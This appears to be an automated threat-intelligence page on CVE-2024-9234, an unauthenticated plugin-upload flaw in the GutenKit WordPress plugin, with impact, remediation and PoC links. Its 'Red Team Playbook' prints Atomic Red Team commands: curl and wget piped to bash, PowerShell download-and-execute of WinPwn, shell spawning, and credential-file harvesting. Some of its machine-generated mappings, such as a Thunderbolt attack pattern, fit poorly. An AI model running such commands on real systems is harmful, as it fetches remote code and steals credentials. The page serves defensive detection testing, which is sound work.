CVE-2024-9234
Overview
This vulnerability is an arbitrary file upload flaw caused by a missing capability check in the install_and_activate_plugin_from_external() function within the GutenKit plugin for WordPress. The issue resides in the install-active-plugin REST API endpoint, which fails to verify user permissions before processing plugin installation and activation requests. As a result, the plugin's external API component improperly handles unauthenticated requests, allowing unauthorized file uploads masquerading as plugins.
Vulnerability Description
The GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
Impact
An unauthenticated attacker can exploit this vulnerability to install and activate arbitrary plugins on a vulnerable WordPress site, effectively gaining remote code execution capabilities. No authentication or user interaction is required (CVSS vector AV:N/AC:L/PR:N/UI:N). This can lead to full site compromise, data theft, defacement, or persistent backdoors, severely impacting the confidentiality, integrity, and availability of the affected system and its data.
Solution
Upgrade the GutenKit – Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin to a version later than 2.1.0 where the missing capability check in the install_and_activate_plugin_from_external() function is implemented. Refer to the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/e44c5dc0-6bf6-417a-9383-b345ff57ac32 for detailed patch information and ensure the plugin source code in includes/Admin/Api/ActivePluginData.php reflects the security fix as per the official WordPress plugin repository.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the GutenKit plugin for the Gutenberg Block Editor in WordPress stems from a critical oversight in the implementation of the install_and_activate_plugin_from_external() function. This function, which is part of the install-active-plugin REST API endpoint, lacks proper capability checks, allowing unauthenticated users to exploit it. The absence of these checks means that attackers can upload arbitrary files masquerading as legitimate plugins, potentially leading to the installation and activation of malicious software on the affected WordPress installations. This vulnerability is particularly concerning as it bypasses standard authentication mechanisms, enabling unauthorized access to sensitive functionalities within the WordPress environment.
Attack vectors leveraging this vulnerability are diverse and can be executed with relative ease. An attacker could craft a malicious request to the REST API endpoint, effectively tricking the system into accepting and executing their payload. This could involve uploading a backdoor or other malicious scripts that grant the attacker persistent access to the compromised site. Once the arbitrary file is uploaded and activated, the attacker could manipulate the website, exfiltrate sensitive data, or even pivot to other systems within the network. The ability to install plugins without authentication not only compromises the integrity of the website but also poses a significant risk to the data and privacy of its users.
The real-world implications of this vulnerability are severe, particularly for businesses that rely on WordPress for their online presence. A successful exploitation could lead to website defacement, data breaches, or the distribution of malware to visitors. Such incidents can result in reputational damage, loss of customer trust, and potential legal ramifications, especially if sensitive customer information is compromised. The financial impact can also be substantial, with costs associated with incident response, remediation, and potential regulatory fines. For e-commerce sites, the ability to manipulate or steal customer data could lead to significant losses and a long-term decline in sales.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-layered security approach. Regularly updating the GutenKit plugin and other WordPress components is crucial to ensure that any known vulnerabilities are patched promptly. Implementing a web application firewall (WAF) can help filter out malicious requests before they reach the application layer. Additionally, monitoring for unusual activity, such as unexpected plugin installations or file uploads, can provide early warning signs of an attempted exploitation. Conducting regular security audits and vulnerability assessments will also help identify potential weaknesses within the WordPress environment, enabling proactive measures to be taken.
In conclusion, the vulnerability in the GutenKit plugin represents a significant threat to WordPress users, particularly those operating in business environments. The potential for unauthorized plugin installation and arbitrary file uploads poses a risk that cannot be overlooked. Organizations must prioritize security best practices, including timely updates, robust monitoring, and comprehensive incident response plans, to safeguard their digital assets against such vulnerabilities. By maintaining a vigilant stance on cybersecurity, businesses can mitigate the risks and protect their online presence from malicious actors.
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the GutenKit vulnerability, with telemetry indicating a doubling in detection frequency over a short period. This uptick coincides with the emergence of additional proof-of-concept exploits publicly available on GitHub, broadening the range of tools accessible to threat actors. The slight increase in the EPSS score reflects growing confidence in exploitability and potential impact, signaling that adversaries are actively refining their capabilities to leverage this critical flaw. For defenders, this development underscores an elevated risk environment where opportunistic and potentially automated attacks may become more prevalent, increasing the likelihood of unauthorized plugin installations and arbitrary file uploads. Consequently, the threat level associated with CVE-2024-9234 has intensified, warranting heightened vigilance despite the absence of evidence for widespread exploitation campaigns at this time.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-9234
GutenKit <= 2.1.0 - Unauthenticated Arbitrary File Upload
|
RandomRobbieBF | 2 | 0 | 2024-10-17 | View |
|
Nxploited/CVE-2024-9234
|
Nxploited | 1 | 0 | 2024-12-28 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
47%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9234 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/e44c5dc0-6bf6-417a-9383-b345ff57ac32?source=cve |
| github.com |
GitHub CVE
|
https://github.com/WordPressBugBounty/plugins-gutenkit-blocks-addon/blob/dc3738bb821cf1d93a11379b8695793fa5e1b9e6/gutenkit-blocks-addon/includes/Admin/Api/ActivePluginData.php#L76 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/gutenkit-blocks-addon/tags/2.1.0/includes/Admin/Api/ActivePluginData.php?rev=3159783#L76 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/gutenkit-blocks-addon/tags/2.1.1/includes/Admin/Api/ActivePluginData.php?rev=3164886 |